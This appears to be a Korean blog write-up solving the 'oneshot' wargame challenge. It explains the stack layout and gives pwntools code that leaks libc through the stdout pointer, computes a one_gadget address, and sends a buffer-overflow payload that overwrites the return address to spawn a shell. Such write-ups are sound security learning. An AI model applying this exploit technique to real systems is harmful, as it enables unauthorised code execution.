oneshot

곽무경·2022년 7월 9일

System Hacking Quiz

목록 보기
16/21


NX, PIE, ASLR이 적용되어 있다.
접속할 서버의 환경은 Ubuntu 16.04, amd64-64-little 이다.

  • 검은 바탕은 Docker - Ubuntu 16.04 (서버 환경이 우분투 16.04이므로)
  • 회색 바탕은 Kali Linux

스택의 구조


총 크기는 0x30
*argv[0x8], ???[0x4], argc[0x4], msg[0x10] , ???[0x8], check[0x8], sfp[0x8], 반환 주소[0x8]

1. libc 오프셋 구하기

프로그램을 실행하면 stdout의 포인터가 제공되므로,
gdb를 이용해 libc 링크 주소stdout의 주소의 차이를 계산한다. (차이는 항상 일정)
0x3c5620

libc=ELF("./libc.so.6")
p.recvuntil(b"stdout: ")
stdout=int(p.recvn(14), 16)   # stdout의 주소
lb=stdout-0x3c5620            # gdb로 구한 오프셋을 빼주기

2. one_gadget 주소 구하기

one_gadget 명령어를 이용해 one_gadget의 위치를 찾아보면

다음과 같다. 우리는 첫번째인 0x45216을 쓴다.
앞에서 오프셋을 구했으므로 one_gadget의 주소도 구할 수가 있다.

onegadget=lb+0x45216         # one_gadget의 주소

3. payload 구성

check 가 0보다 크면 exit() 되므로, payload를 구성할 때 check=0이 되도록 설정해야 한다.

# msg[0x10]+???[0x8]+check[0x8]+SFP[0x8]+반환주소[0x8]
payload=b'A'*0x10+b'\x00'*0x18+p64(onegadget)
p.recvuntil(b"MSG: ")
p.send(payload)

p.interactive()

0개의 댓글